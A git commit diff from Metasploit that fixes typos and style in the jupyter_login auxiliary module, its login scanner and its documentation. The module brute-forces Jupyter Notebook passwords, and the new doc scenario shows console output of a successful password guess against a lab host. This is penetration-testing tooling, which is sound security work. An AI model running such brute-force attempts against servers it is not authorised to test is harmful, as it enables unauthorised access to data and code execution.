Fix typos and clarify documentation for jupyter_login
This commit is contained in:
parent
5e5922a1c4
commit
c57391501a
|
@ -11,10 +11,10 @@ original IPython Notebook system. This module is compatible with both standard J
|
|||
### Installation
|
||||
|
||||
1. Install the latest version of Jupyter from PyPi using pip: `pip install notebook`. The "notebook" package is the core
|
||||
application and is the one whose version number is referenced.
|
||||
1. Start Jupyter using `jupyter notebook`, new installs will randomly generate an authentication token and open the
|
||||
browser with it
|
||||
1. As of [version 5.3][2], the user will be prompted to set a password the first time they open the UI
|
||||
application and is the one whose version number is used as the Jupyter version number referred to in this document.
|
||||
1. Start Jupyter using `jupyter notebook`
|
||||
* New installs will randomly generate an authentication token and open the browser with it
|
||||
* As of [version 5.3][2], the user will be prompted to set a password the first time they open the UI
|
||||
1. With the password set, the module can be tested
|
||||
|
||||
## Verification Steps
|
||||
|
@ -25,13 +25,15 @@ original IPython Notebook system. This module is compatible with both standard J
|
|||
1. Set the `RHOSTS` option
|
||||
* With no other options set, this will only check if authentication is required
|
||||
1. Do: `run`
|
||||
1. You should see login attempts
|
||||
1. You should the server version
|
||||
1. If password options (such as `PASS_FILE`) where specified, and the server requires authentication then you should see
|
||||
login attempts
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Jupyte Notebook 4.3.0
|
||||
### Jupyter Notebook 4.3.0 With No Authentication Requirement
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/jupyter_login
|
||||
|
@ -48,5 +50,21 @@ msf5 auxiliary(scanner/http/jupyter_login) > run
|
|||
msf5 auxiliary(scanner/http/jupyter_login) >
|
||||
```
|
||||
|
||||
### Jupyter Notebook 6.0.2 With A Password Set
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/jupyter_login
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
|
||||
PASS_FILE => /tmp/passwords.txt
|
||||
msf5 auxiliary(scanner/http/jupyter_login) > run
|
||||
|
||||
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2
|
||||
[-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect)
|
||||
[+] 192.168.159.128:8888 - Login Successful: :Password1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/jupyter_login) >
|
||||
```
|
||||
|
||||
[1]: https://jupyter-notebook.readthedocs.io/en/stable/changelog.html#release-4-3
|
||||
[2]: https://jupyter-notebook.readthedocs.io/en/stable/public_server.html#automatic-password-setup
|
||||
|
|
|
@ -32,8 +32,9 @@ module Metasploit
|
|||
begin
|
||||
res = send_request({'method'=> 'GET', 'uri' => uri})
|
||||
vars_post = {'password' => credential.private }
|
||||
|
||||
# versions < 4.3.1 do not use this field
|
||||
unless (node = res.get_html_document.xpath('//form//input[@name="_xsrf"]')).empty?
|
||||
# versions < 4.3.1 do not use this field
|
||||
vars_post['_xsrf'] = node.first['value']
|
||||
end
|
||||
|
||||
|
@ -49,7 +50,7 @@ module Metasploit
|
|||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
|
|
|
@ -14,21 +14,22 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Jupyter Login Utility',
|
||||
'Description' => %q{
|
||||
'Name' => 'Jupyter Login Utility',
|
||||
'Description' => %q{
|
||||
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will
|
||||
bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module
|
||||
is compatible with versions 4.3.0 (released 2016-12-08) and newer.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jupyter application', '/' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jupyter application', '/' ]),
|
||||
Opt::RPORT(8888)
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
deregister_options('DB_ALL_CREDS', 'DB_ALL_USERS', 'HttpUsername', 'STOP_ON_SUCCESS', 'USERNAME', 'USERPASS_FILE', 'USER_AS_PASS', 'USER_FILE')
|
||||
|
@ -36,15 +37,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
register_autofilter_ports([ 80, 443, 8888 ])
|
||||
end
|
||||
|
||||
def requires_password?(ip)
|
||||
def requires_password?(_ip)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'tree')
|
||||
})
|
||||
|
||||
return false if res&.code == 200
|
||||
|
||||
destination = res.headers['Location'].split('?', 2)[0]
|
||||
return true if destination.ends_with?(normalize_uri(target_uri.path, 'login'))
|
||||
return true if destination.end_with?(normalize_uri(target_uri.path, 'login'))
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - The server responded with a redirect that did not match a known fingerprint")
|
||||
end
|
||||
|
||||
|
@ -63,12 +66,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
unless requires_password?(ip)
|
||||
print_good "#{peer} - No password is required."
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:name => "Unauthenticated Jupyter Access",
|
||||
:info => "Module #{self.fullname} confirmed access to the Jupyter application with no authentication"
|
||||
host: ip,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: (ssl ? 'https' : 'http'),
|
||||
name: 'Unauthenticated Jupyter Access',
|
||||
info: "Module #{fullname} confirmed unauthenticated access to the Jupyter application"
|
||||
)
|
||||
return
|
||||
end
|
||||
|
@ -94,8 +97,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
|
|
Loading…
Reference in New Issue